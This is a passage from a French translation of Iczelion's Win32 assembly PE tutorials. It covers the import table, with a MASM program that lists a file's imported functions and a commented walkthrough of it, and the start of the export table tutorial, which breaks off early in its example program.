  8. Si le bit le plus significatif (MSB) du membre est a 0, on utilise la valeur dans le membre en tant qu'RVA dans l'IMAGE_IMPORT_BY_NAME, on saute à Hint et on est au nom de la fonction.
  9. On saute au membre suivant du tableau et on retrouve les noms avant qu'on ai atteint la fin du tableau (qui est un null de terminaison). Maintenant nous avons réussi à extraire les noms des fonctions importées à partir d'une DLL, nous allons à la DLL suivante.
  10. On saute à l'IMAGE_IMPORT_DESCRIPTOR suivant et le traitons. Faites-le avant que la fin du tableau ne soit atteinte (le tableau IMAGE_IMPORT_DESCRIPTOR est terminé par un membre dont les paramètres sont tous nuls) .

Exemple:

Cet exemple ouvre un PE file et lit puis affiche les noms de toutes les fonctions d'importation de ce fichier dans un contrôle d'édition. Il affiche aussi les valeurs dans les structures IMAGE_IMPORT_DESCRIPTOR.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_MAINDLG equ 101
IDC_EDIT equ 1000
IDM_OPEN equ 40001
IDM_EXIT equ 40003

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
ShowImportFunctions proto :DWORD
ShowTheFunctions proto :DWORD,:DWORD
AppendText proto :DWORD,:DWORD

SEH struct
PrevLink dd ? ; adresse de la structure SEH ci-dessus
CurrentHandler dd ? ; adresse du nouvel 'exception handler'
SafeOffset dd ? ; endroit où est sauvegardé l'offset pour continuer l'exécution
PrevEsp dd ? ; l'ancienne valeur dans 'esp'
PrevEbp dd ? ; l'ancienne valeur dans 'ebp'
SEH ends

.data
AppName db "PE tutorial no.6",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
NotValidPE db "This file is not a valid PE",0
CRLF db 0Dh,0Ah,0
ImportDescriptor db 0Dh,0Ah,"================[ IMAGE_IMPORT_DESCRIPTOR ]=============",0
IDTemplate db "OriginalFirstThunk = %lX",0Dh,0Ah
           db "TimeDateStamp = %lX",0Dh,0Ah
           db "ForwarderChain = %lX",0Dh,0Ah
           db "Name = %s",0Dh,0Ah
           db "FirstThunk = %lX",0
NameHeader db 0Dh,0Ah,"Hint Function",0Dh,0Ah
           db "-----------------------------------------",0
NameTemplate db "%u %s",0
OrdinalTemplate db "%u (ord.)",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam, eax, IDD_MAINDLG,NULL,addr DlgProc, 0
invoke ExitProcess, 0

DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
  invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETLIMITTEXT,0,0
.elseif uMsg==WM_CLOSE
  invoke EndDialog,hDlg,0
.elseif uMsg==WM_COMMAND
  .if lParam==0
    mov eax,wParam
    .if ax==IDM_OPEN
      invoke ShowImportFunctions,hDlg
    .else ; IDM_EXIT
      invoke SendMessage,hDlg,WM_CLOSE,0,0
    .endif
  .endif
.else
  mov eax,FALSE
  ret
.endif
mov eax,TRUE
ret
DlgProc endp

SEHHandler proc C pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
  mov edx,pFrame
  assume edx:ptr SEH
  mov eax,pContext
  assume eax:ptr CONTEXT
  push [edx].SafeOffset
  pop [eax].regEip
  push [edx].PrevEsp
  pop [eax].regEsp
  push [edx].PrevEbp
  pop [eax].regEbp
  mov ValidPE, FALSE
  mov eax,ExceptionContinueExecution
  ret
SEHHandler endp

ShowImportFunctions proc uses edi hDlg:DWORD
  LOCAL seh:SEH
  mov ofn.lStructSize,SIZEOF
  ofn mov ofn.lpstrFilter, OFFSET FilterString
  mov ofn.lpstrFile, OFFSET buffer
  mov ofn.nMaxFile,512
  mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
  invoke GetOpenFileName, ADDR ofn
  .if eax==TRUE
    invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax!=INVALID_HANDLE_VALUE
      mov hFile, eax
      invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
      .if eax!=NULL
        mov hMapping, eax
        invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
        .if eax!=NULL
          mov pMapping,eax
          assume fs:nothing
          push fs:[0]
          pop seh.PrevLink
          mov seh.CurrentHandler,offset SEHHandler
          mov seh.SafeOffset,offset FinalExit
          lea eax,seh
          mov fs:[0], eax
          mov seh.PrevEsp,esp
          mov seh.PrevEbp,ebp
          mov edi, pMapping
          assume edi:ptr IMAGE_DOS_HEADER
          .if [edi].e_magic==IMAGE_DOS_SIGNATURE
            add edi, [edi].e_lfanew
            assume edi:ptr IMAGE_NT_HEADERS
            .if [edi].Signature==IMAGE_NT_SIGNATURE
              mov ValidPE, TRUE
            .else
              mov ValidPE, FALSE
            .endif
          .else
            mov ValidPE,FALSE
          .endif
FinalExit:
          push seh.PrevLink
          pop fs:[0]
          .if ValidPE==TRUE
            invoke ShowTheFunctions, hDlg, edi
          .else
            invoke MessageBox,0, addr NotValidPE, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke UnmapViewOfFile, pMapping
      .else
          invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
      .endif
      invoke CloseHandle,hMapping
    .else
      invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
    .endif
    invoke CloseHandle, hFile
   .else
   invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
   .endif
 .endif
 ret
ShowImportFunctions endp

AppendText proc hDlg:DWORD,pText:DWORD
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,pText
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,addr CRLF
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETSEL,-1,0
   ret
AppendText endp

RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
   mov esi,pFileMap
   assume esi:ptr IMAGE_DOS_HEADER
   add esi,[esi].e_lfanew
   assume esi:ptr IMAGE_NT_HEADERS
   mov edi,RVA ; edi == RVA
   mov edx,esi
   add edx,sizeof IMAGE_NT_HEADERS
   mov cx,[esi].FileHeader.NumberOfSections
   movzx ecx,cx
   assume edx:ptr IMAGE_SECTION_HEADER
   .while ecx>0 ; check all sections
     .if edi>=[edx].VirtualAddress
       mov eax,[edx].VirtualAddress
       add eax,[edx].SizeOfRawData
       .if edi<eax ; The address is in this section
         mov eax,[edx].VirtualAddress
         sub edi,eax
         mov eax,[edx].PointerToRawData
         add eax,edi ; eax == file offset
         ret
       .endif
     .endif
     add edx,sizeof IMAGE_SECTION_HEADER
     dec ecx
   .endw
   assume edx:nothing
   assume esi:nothing
   mov eax,edi
   ret
RVAToOffset endp

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
   LOCAL temp[512]:BYTE
   invoke SetDlgItemText,hDlg,IDC_EDIT,0
   invoke AppendText,hDlg,addr buffer
   mov edi,pNTHdr
   assume edi:ptr IMAGE_NT_HEADERS
   mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   add edi,pMapping
   assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
   .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 && [edi].ForwarderChain==0 && [edi].Name1==0 && [edi].FirstThunk==0)
     invoke AppendText,hDlg,addr ImportDescriptor
     invoke RVAToOffset,pMapping, [edi].Name1
     mov edx,eax
     add edx,pMapping
     invoke wsprintf, addr temp, addr IDTemplate, [edi].OriginalFirstThunk,[edi].TimeDateStamp,[edi].ForwarderChain,edx,[edi].FirstThunk      invoke AppendText,hDlg,addr temp
     .if [edi].OriginalFirstThunk==0
        mov esi,[edi].FirstThunk
     .else
        mov esi,[edi].OriginalFirstThunk
     .endif
     invoke RVAToOffset,pMapping,esi
     add eax,pMapping
     mov esi,eax
     invoke AppendText,hDlg,addr NameHeader
     .while dword ptr [esi]!=0
       test dword ptr [esi],IMAGE_ORDINAL_FLAG32
       jnz ImportByOrdinal
       invoke RVAToOffset,pMapping,dword ptr [esi]
       mov edx,eax
       add edx,pMapping
       assume edx:ptr IMAGE_IMPORT_BY_NAME
       mov cx, [edx].Hint
       movzx ecx,cx
       invoke wsprintf,addr temp,addr NameTemplate,ecx,addr [edx].Name1
       jmp ShowTheText
ImportByOrdinal:
       mov edx,dword ptr [esi]
       and edx,0FFFFh
       invoke wsprintf,addr temp,addr OrdinalTemplate,edx
ShowTheText:
       invoke AppendText,hDlg,addr temp
       add esi,4
    .endw
    add edi,sizeof IMAGE_IMPORT_DESCRIPTOR
  .endw
  ret
ShowTheFunctions endp
end start

Analyse:

Le programme affiche une DialogBox de type OPENFILE (laquelle sert à sélectionner et ouvrir un fichier quand l'utilisateur clique dessus). Il vérifie que le fichier est un PE valide et appelle ensuite ShowTheFunctions.

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
   LOCAL temp[512]:BYTE

Réservez un espace de 512 octets sur la pile pour des opérations sur des chaînes de caractères.

   invoke SetDlgItemText,hDlg,IDC_EDIT,0

Efface le texte dans le contrôle d'édition

   invoke AppendText,hDlg,addr buffer

Insère le nom du PE file dans le contrôle d'édition.AppendText envoie juste des messages EM_REPLACESEL pour ajouter du texte dans le contrôle d'édition. Notez qu'il envoie EM_SETSEL avec wParam=-1 et lParam=0 au contrôle d'édition pour déplacer le curseur en fin de texte.

   mov edi,pNTHdr
   assume edi:ptr IMAGE_NT_HEADERS
   mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress

Sert à récupérer le RVA des symboles d'importation. Au départ edi pointe sur le PE header. On s'en sert pour aller jusqu'au 2ème membre du tableau du Répertoire des Données et on récupère la valeur du membre VirtualAddress.

   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   add edi,pMapping

Voici ici un des pièges pour les nouveaux venus à la programmation des PE. La plupart des adresses dans un PE file sont des RVAs et les RVAs n'ont de sens que lorsque le PE file est chargé en mémoire par le PE loader. Dans notre cas, nous mappons le fichier en mémoire, mais pas comme le fait le PE loader. Ainsi nous ne pouvons pas employer directement ces RVAs. D'une façon ou d'une autre nous devons convertir ces RVAs offsets pour le fichier. J'ai écris la fonction RVAToOffset dans ce but. Je ne l'analyserai pas en détail ici. Il est suffisant de dire qu'il compare le RVA qu'on lui a suggéré avec les début et fins des RVAs de toutes les sections du PE file, et utilise la valeur du paramètre PointerToRawData de la structure IMAGE_SECTION_HEADER pour convertir le RVA en un offset pour le fichier.
Pour utiliser cette fonction, vous devez lui passer deux paramètres : le pointer sur le fichier a Mapper en mémoire et le RVA que vous voulez convertir. Elle retourne l'offset(de fichier) dans eax. Dans ce susdit petit bout, nous devons additionner le 'pointer sur le fichier a Mapper en mémoire' avec l'offset (de fichier)' pour le convertir en une adresse virtuelle. Ça vous semble compliqué, huh ? :)

   assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
   .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 && [edi].ForwarderChain==0 && [edi].Name1==0 && [edi].FirstThunk==0)

edi pointe maintenant sur la première structure IMAGE_IMPORT_DESCRIPTOR. Nous lisons le tableau jusqu'à ce que nous trouvions la structure qui ne comporte que des membres nuls, elle sert à marquer la fin du tableau.

     invoke AppendText,hDlg,addr ImportDescriptor
     invoke RVAToOffset,pMapping, [edi].Name1
     mov edx,eax
     add edx,pMapping

Nous souhaitons afficher les valeurs de la structure IMAGE_IMPORT_DESCRIPTOR courante dans le contrôle d'édition. Name1 diffère des autres membres puisque il contient le RVA du nom de la dll. C'est pourquoi nous devons d'abord le convertir en une adresse virtuelle.

     invoke wsprintf, addr temp, addr IDTemplate, [edi].OriginalFirstThunk,[edi].TimeDateStamp,[edi].ForwarderChain,edx,[edi].FirstThunk      invoke AppendText,hDlg,addr temp

Affiche les valeurs de l'IMAGE_IMPORT_DESCRIPTOR courante.

     .if [edi].OriginalFirstThunk==0
        mov esi,[edi].FirstThunk
     .else
        mov esi,[edi].OriginalFirstThunk
     .endif

Ensuite nous nous préparons à parcourir le tableau IMAGE_THUNK_DATA. Normalement nous aimerions pouvoir utiliser le tableau pointé par OriginalFirstThunk. Cependant, certains mauvais linkers mettent 0 dans OriginalFirstThunk, c'est pourquoi nous devons d'abord vérifier si la valeur d'OriginalFirstThunk est zéro ou non. S'il est à 0, nous employons le tableau pointé par FirstThunk instead.

     invoke RVAToOffset,pMapping,esi
     add eax,pMapping
     mov esi,eax

De nouveau, la valeur dans OriginalFirstThunk/FirstThunk est un RVA. Nous devons la convertir en une adresse virtuelle.

     invoke AppendText,hDlg,addr NameHeader
     .while dword ptr [esi]!=0

Maintenant nous sommes prêts nous promener dans le tableau IMAGE_THUNK_DATAs pour chercher les noms des fonctions importées dans cette DLL. Nous lisons le tableau jusqu'à ce que nous trouvions une entrée qui contient 0.

       test dword ptr [esi],IMAGE_ORDINAL_FLAG32
       jnz ImportByOrdinal

La première chose que nous faisons avec l'IMAGE_THUNK_DATA c'est de le comparer à IMAGE_ORDINAL_FLAG32. Ce teste est validé si le bit le plus significatif (MSB) d'IMAGE_THUNK_DATA est 1. S'il l'est, la fonction est exportée par ordre donc nous n'avons aucun besoin de la traiter plus loin. Nous pouvons extraire son n° d'ordre à partir du WORD de poids faible d'IMAGE_THUNK_DATA puis passer au DWORD IMAGE_THUNK_DATA suivant.

       invoke RVAToOffset,pMapping,dword ptr [esi]
       mov edx,eax
       add edx,pMapping
       assume edx:ptr IMAGE_IMPORT_BY_NAME

Si le MSB d'IMAGE_THUNK_DATA est 0, il contient le RVA de la structure IMAGE_IMPORT_BY_NAME. Nous avons d'abord besoin de le convertir en une adresse virtuelle.

       mov cx, [edx].Hint
       movzx ecx,cx
       invoke wsprintf,addr temp,addr NameTemplate,ecx,addr [edx].Name1
       jmp ShowTheText

Hint est un paramètre de taille WORD. Nous devons le convertir en une valeur de taille DWORD avant de l'envoyer à l'API wsprintf. Et nous affichons ensemble dans le contrôle d'édition 'Hint' et le nom de la fonction

ImportByOrdinal:
       mov edx,dword ptr [esi]
       and edx,0FFFFh
       invoke wsprintf,addr temp,addr OrdinalTemplate,edx

Au cas où la fonction est uniquement exportée par ordre, nous mettons à zéro le WORD de poids fort et plaçons le n° d'ordre.

ShowTheText:
       invoke AppendText,hDlg,addr temp
       add esi,4

Après avoir inséré le nom/numéro de la fonction dans le contrôle d'édition, nous passons à l'IMAGE_THUNK_DATA suivante.

    .endw
    add edi,sizeof IMAGE_IMPORT_DESCRIPTOR

Quand tous les dwords IMAGE_THUNK_DATA du tableau ont été traités, nous sautons au IMAGE_IMPORT_DESCRIPTOR suivant pour traiter les fonctions d'importation des éventuelles autres DLLs.

Annexe:

Ce serait incomplet si je ne mentionnais rien sur les importations attachées (Bound Import). Pour expliquer ce que c'est, j'ai besoin de faire un petit aparté. Quand le PE loader charge le PE file (un programme) en mémoire, il examine sa table des importations et charge les DLLs qui lui serviront dans l'espace d'adresses qui lui est réservée. Ensuite il parcoure le tableau IMAGE_THUNK_DATA de long en large comme nous l'avons fait et remplace les IMAGE_THUNK_DATAs par les adresses réelles des fonctions d'importation, ça ne prend pas longtemps. Si d'une façon ou d'une autre le programmeur peut prévoir les adresses des fonctions correctement, alors le PE loader n'a pas besoin de fixer les IMAGE_THUNK_DATAs à chaque fois que le PE file est exécuté. L'importation attachée est le produit de cette idée.
Pour l'expliquée en termes simples, il existe un utilitaire nommé bind.exe qui est fournit avec les compilateurs de Microsoft tel que Visual Studio qui examine la table des importations du PE file et remplace les dwords IMAGE_THUNK_DATA par les adresses des fonctions d'importation. Lorsque le fichier est chargé, le PE loader doit vérifier si les adresses sont valides. Si les versions des DLL ne correspondent pas avec celles utilisées par le PE File ou bien si les DLLs ont besoin d'être transférées, alors le PE loader sait que les adresses de precomputed ne sont pas valides c'est pourquoi il doit parcourir le tableau indiqué par OriginalFirstThunk pour recalculer les nouvelles adresses des fonctions d'importation.
L'importation attachée n'a pas beaucoup de signification pour notre exemple parce que nous utilisons OriginalFirstThunk par défaut. Pour plus d'informations sur les importations attachées, je vous recommande de lire la doc LUEVELSMEYER's pe.txt.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's PE Tutorial 7: Export Table

Tutorial 7: La Table des Exportations
(Export Table)

Nous avons vus la première partie des liaisons dynamiques, à savoir la table des importations, ceci dans le Tutorial précédent. Maintenant nous allons nous attaquer à l'autre partie, la table des exportations.

Downloadez l'exemple.

Théorie:

Quand le PE loader lance un programme, il charge également les DLLs associées à ce process dans son espace d'adresses. Il extrait alors les informations sur les fonctions d'importation à partir du programme principal. Il se sert de ces informations pour rechercher dans les DLLs les adresses des fonctions que le programme principal va appeler. L'endroit à l'intérieur des DLLs où le PE loader recherche ces adresses (celles des fonctions) est la table des exportations.

Quand une DLL/EXE exporte une fonction pour qu'elle soit utilisée par d'autres DLLs/EXEs, elle peut le faire de deux façons : elle peut exporter la fonction à partir de son nom ou à partir de son classement (par ordre). Dire qu'il existe une fonction du nom de "GetSysConfig" dans une DLL, signifie que si d'autres DLLs/EXEs souhaitent appeler cette fonction, elles doivent le spécifier à partir de son nom, c'est-à-dire : GetSysConfig. L'autre méthode c'est d'exporter la fonction d'après sa position (son n° d'ordre dans la DLL). Qu'est ce qu'un ordre ? Un ordre est un numéro sur 16 bits qui identifie une unique fonction dans une DLL particulière. Ce numéro est unique seulement dans la DLL à laquelle le programme se réfère. Par exemple, dans le susdit exemple, la DLL peut vouloir exporter la fonction par ordre, disons le n°16 (la 16e fonction à l'intérieur de la DLL). Alors les autres DLLs/EXEs qui souhaitent appeler cette fonction doit spécifier ce numéro dans GetProcAddress. Ceci une exportation appelée par ordre (unique).

L'exportation par ordre est fortement déconseillée car elle peut provoquer des problèmes de maintenance pour la DLL. Si la DLL est mise à jour (nouvelle version), alors le programmeur de la DLL n'a pas d'autre choix que de garder l'ordre des fonctions sinon d'autres programmes qui dépendent eux aussi de cette DLL se planteront.

Maintenant nous pouvons examiner la structure d'exportation. De la même façon qu'avec la table des importations, vous pouvez trouver où est située la table des exportations en regardant le 'Répertoire de Données'. Dans ce cas, la table des exportations est le premier membre du Répertoire de Données. La structure d'exportation est appelée IMAGE_EXPORT_DIRECTORY. Elle possède 11 membres, mais seulement quelques-uns sont réellement utiles.

Nom des paramètres | Signification
nName | Le nom réel du module qui contient les fonctions (nom de la DLL). C'est un paramètre nécessaire parce que le nom du fichier peut être modifié. Si c'est le cas, le PE loader emploiera ce nom intérieurement.
nBase | Un nombre que vous devez appliquer sur le n° d'ordre des fonctions pour obtenir leurs index dans le tableau d'adresses des fonctions.
NumberOfFunctions | Le nombre total de fonctions/symboles qui sont exportés par ce module (par la DLL).
NumberOfNames | Le nombre de fonctions/symboles qui sont exportés grâce à leur nom. Cette valeur n'est pas le nombre TOTAL de fonctions/symboles dans le module. Pour le nombre total, vous avez besoin de regarder le paramètre NumberOfFunctions. Cette valeur peut être nulle. Dans ce cas, le module ne peut exporter que par ordre. S'il n'y a aucune fonction/symbole qui puissent être exportée par son nom, le RVA de la table des exportations à l'intérieur du Répertoire des Données sera 0.
AddressOfFunctions | Est un RVA qui pointe sur un tableau contenant les RVAs des fonctions/symboles du module. Bref, les RVAs de toutes les fonctions du module sont regroupés dans un tableau et ce paramètre pointe sur le début de ce tableau.
AddressOfNames | Un RVA qui pointe sur un tableau de RVAs contenant les noms des fonctions de la DLL (du module).
AddressOfNameOrdinals | Un RVA qui pointe sur un tableau (16 bits) qui contient les n° d'ordre associés aux noms des fonctions dans le tableau AddressOfNames ci-dessus.

Cette simple lecture de la table ne peut pas vous donner une image réelle de la table des exportations. Voici une explication simplifiée qui éclairera son concept.

La table des exportations existe pour que le PE loader puisse s'en servir. Tout d'abord, le module (la DLL) doit garder les adresses de chacune des fonctions exportées quelque part, ainsi le PE loader peut les retrouver. Il les référence dans un tableau qui est pointé par le paramètre AddressOfFunctions. Le nombre d'éléments dans le tableau est contenu dans NumberOfFunctions. Ainsi si le module (la DLL) exporte 40 fonctions, il doit y avoir 40 membres (paramètres) dans le tableau pointé par AddressOfFunctions, et NumberOfFunctions doit contenir la valeur 40. Maintenant si certaines fonctions sont exportées par leurs noms, le module doit contenir les noms. Il conserve les RVAs des noms dans un tableau, ainsi le PE loader peut les retrouver. Ce tableau est pointé par AddressOfNames et le nombre de noms est dans NumberOfNames. Pensez au travail du PE loader, il connaît les noms des fonctions, il doit d'une façon ou d'une autre obtenir les adresses de ces fonctions. Jusqu'ici, le module (la DLL) a deux tableaux à sa disposition : les noms et les adresses mais il n'y a aucun lien entre eux. C'est pourquoi nous avons besoin de quelque chose qui qui puisse relier ces noms de fonctions à leurs adresses. La spécification du PE c'est d'employer des index à l'intérieur d'un tableau d'adresses pour remplacer ce lien essentiel. Ainsi si le PE loader trouve le nom, alors il cherche dans le tableau des noms, il peut récupérer l'index dans la table d'adresses pour ce nom précis. Les index sont regroupés dans un autre tableau (le dernier) pointés par le paramètre AddressOfNameOrdinals. Puisque ce tableau existe en tant que lien entre les noms et les adresses, il doit posséder exactement le même nombre d'éléments que le tableau des noms. C'est-à-dire, chaque nom peut avoir une et uniquement une adresse associée. L'inverse n'est pas vrai : une seule adresse peut posséder plusieurs noms qui lui soient associés. Ainsi nous pouvons avoir des "alias" qui se réfèrent à une même adresse. Pour faire le travail qui consiste à élaborer une relation entre les noms et les index dans le tableau, on doit se déplacer en parallèle. C'est-à-dire, que le premier élément (1er index) du tableau doit contenir l'index associé au premier nom, et ainsi de suite...

AddressOfNames AddressOfNameOrdinals
|
|
RVA du Nom 1
RVA du Nom 2
RVA du Nom 3
RVA du Nom 4
...
RVA du Nom N
<-->
<-->
<-->
<-->
...
<-->
Index du Nom 1
Index du Nom 2
Index du Nom 3
Index du Nom 4
...
Index du Nom N

Un exemple ou deux suivant l'appel par ordre. Si nous avons le nom d'une fonction d'exportation et que nous avons besoin d'obtenir son adresse dans le module (la DLL), nous pouvons nous débrouiller comme ça:

  1. On va jusqu'au PE header
  2. On lit l'adresse virtuelle de la table des exportations dans le Répertoire des données
  3. On va à la table des exportations et on récupère le nombre de noms qui est dans (NumberOfNames)
  4. On parcours les tableaux pointés par AddressOfNames et AddressOfNameOrdinals en parallèle, en recherchant le nom (de la fonction) correspondant. Si le nom est trouvé dans le tableau AddressOfNames, vous devez extraire la valeur dans l'élément associé du tableau AddressOfNameOrdinals. Par exemple, si vous trouvez le RVA du nom correspondant, dans le 77h élément du tableau AddressOfNames, vous devez extraire la valeur stockée dans le 77h élément du tableau AddressOfNameOrdinals. Si vous parcourez le tableau jusqu'au dernier élément du tableau NumberOfNames sans succès, alors vous savez que le nom n'est pas dans ce module. (Votre programme principal fait appelle à une fonction dans une DLL mais cette fonction ne s'y trouve pas en fait.)
  5. On utilise la valeur du tableau AddressOfNameOrdinals en tant qu'index pour le tableau AddressOfFunctions. C'est à dire, si la valeur est 5, alors vous devez extraire la valeur contenue dans le 5ème élément du tableau AddressOfFunctions. Cette valeur est le RVA de la fonction.

Maintenant nous pouvons attirer notre attention sur le membre nBase de la structure IMAGE_EXPORT_DIRECTORY. Vous savez déjà que le tableau AddressOfFunctions contient les adresses de tous les symboles d'exportation d'une DLL. Et le PE loader utilise des index dans ce tableau pour trouver les adresses des fonctions. On va imaginer le scénario où nous nous servons des index de ce tableau en tant que n° d'ordre. Puisque les programmeurs peuvent spécifier le nombre initial de n° d'ordre dans le fichier .def, comme 200, ça signifie qu'il doit y avoir au moins 200 éléments dans le tableau AddressOfFunctions. Par ailleurs imaginons que les 200 premiers éléments ne sont pas utilisés, mais de toute façon ils doivent exister pour que le PE loader puisse se servir des index pour retrouver leurs adresses correctes. Ce n'est pas bon du tout. Le membre nBase existe pour résoudre ce problème. Si le programmeur indique que le n° d'ordre initial est de 200, alors la valeur dans nBase doit être de 200. Lorsque le PE loader lit la valeur dans nBase, il sait que les 200 premiers éléments n'existent pas et qu'il doit soustraire le n° d'ordre à la valeur de nBase pour obtenir le vrai index dans le tableau AddressOfFunctions. Index(Fonction)='n° d'ordre'-nBase. Grâce à l'utilisation du paramètre nBase, c'est pas la peine de créer 200 éléments vides.

Remarquez que nBase n'affecte pas les valeurs du tableau AddressOfNameOrdinals. Malgré le nom "AddressOfNameOrdinals", ce tableau contient les vrais index du tableau AddressOfFunctions, et non pas les n° de classement des fonctions (les n° d'ordre).

Continuons à parler de nBase.
Supposons que nous avons le n° de classement (n° d'ordre) d'une fonction et que nous avons besoin d'obtenir l'adresse de cette fonction, nous pouvons le faire comme ça :

  1. On va jusqu'au PE header
  2. On récupère le RVA de la table des exportations contenue dans le Répertoire des données
  3. On va à la table des exportations et on récupère la valeur de nBase .
  4. On soustrait la valeur dans nBase au n° d'ordre et ainsi on obtient l'index de la fonction qui se trouve dans le tableau AddressOfFunctions.
  5. On compare l'index avec la valeur dans NumberOfFunctions. Si l'index est plus grand ou égal à la valeur dans NumberOfFunctions, alors le n° d'ordre est invalide.
  6. On utilise l'index pour récupérer le RVA de la fonction à l'intérieur du tableau AddressOfFunctions

Remarquez que l'obtention de l'adresse d'une fonction (par ordre) est beaucoup plus facile et plus rapide que d'utiliser le nom de cette fonction. Il n'y a aucun besoin de parcourir les tableaux AddressOfNames et AddressOfNameOrdinals.

Pour conclure, si vous souhaitez obtenir l'adresse d'une fonction à partir de son nom, vous avez besoin de parcourir les tableaux AddressOfNames et AddressOfNameOrdinals pour récupérer son index qui se trouve dans le AddressOfFunctions. Si vous avez le n° d'ordre (de classement) de la fonction, vous pouvez directement fouiner dans le tableau AddressOfFunctions (après avoir soustrait nBase à son n° d'ordre, bien entendu).

Si une fonction est exportée à partir de son nom, vous pouvez employer soit son nom soit son n° d'ordre dans GetProcAddress. Mais si la fonction est uniquement exportée à partir de son n° d'ordre? Nous y voici maintenant.
"La fonction est exportée par n° d'ordre uniquement" signifie que la fonction n'a pas d'entrées dans les tableaux AddressOfNames et AddressOfNameOrdinals. Rappelez-vous des deux paramètres, NumberOfFunctions et NumberOfNames. L'existence de ces deux membres est évidemment que certaines fonctions ne peuvent pas avoir de noms. Le nombre de fonctions doit être au moins (au minimum) égal au nombre de noms. Les fonctions qui n'ont pas de noms sont exportées grâce à leur n° d'ordre (unique). Par exemple, s'il y a 70 fonctions, et qu'il n'y a que 40 entrées dans le tableau AddressOfNames, ça signifie qu'il y a 30 fonctions dans la DLL qui sont exportées d'après leur n° d'ordre. Maintenant comment pouvons-nous découvrir quelles fonctions sont exportées à partir de leur n° d'ordre ? Ce n'est pas facile. On ne peut les trouver que par exclusion. C'est-à-dire, les entrées dans le tableau AddressOfFunctions qui ne fait pas référence au tableau AddressOfNameOrdinals contiennent les RVAs des fonctions qui sont exportées par n° d'ordre.

Exemple:

Cet exemple est semblable à celui du Tutorial précédent. Cependant, il affiche les valeurs de certains membres de la structure IMAGE_EXPORT_DIRECTORY et inscrit aussi les RVAs, les n° d'ordre et les noms des fonctions exportées. Notez que cet exemple n'inscrit pas les fonctions qui sont exportées uniquement par n° d'ordre.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_MAINDLG equ 101
IDC_EDIT equ 1000
IDM_OPEN equ 40001
IDM_EXIT equ 40003

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
ShowExportFunctions proto :DWORD
ShowTheFunctions proto :DWORD,:DWORD
AppendText proto :DWORD,:DWORD

SEH struct
   PrevLink dd ?
   CurrentHandler dd ?
   SafeOffset dd ?
   PrevEsp dd ?
   PrevEbp dd ?
SEH ends

.data
AppName db "PE tutorial no.7",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
NotValidPE db "This file is not a valid PE",0
NoExportTable db "No export information in this file",0
CRLF db 0Dh,0Ah,0
ExportTable db 0Dh,0Ah,"======[ IMAGE_EXPORT_DIRECTORY ]======",0Dh,0Ah
            db "Name of the module: %s",0Dh,0Ah
            db "nBase: %lu",0Dh,0Ah
            db "NumberOfFunctions: %lu",0Dh,0Ah
            db "NumberOfNames: %lu",0Dh,0Ah
            db "AddressOfFunctions: %lX",0Dh,0Ah
            db "AddressOfNames: %lX",0Dh,0Ah
            db "AddressOfNameOrdinals: %lX",0Dh,0Ah,0
Header db "RVA Ord. Name",0Dh,0Ah
       db "----------------------------------------------",0
template db "%lX %u %s",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start:
invoke GetModuleHandle,NULL
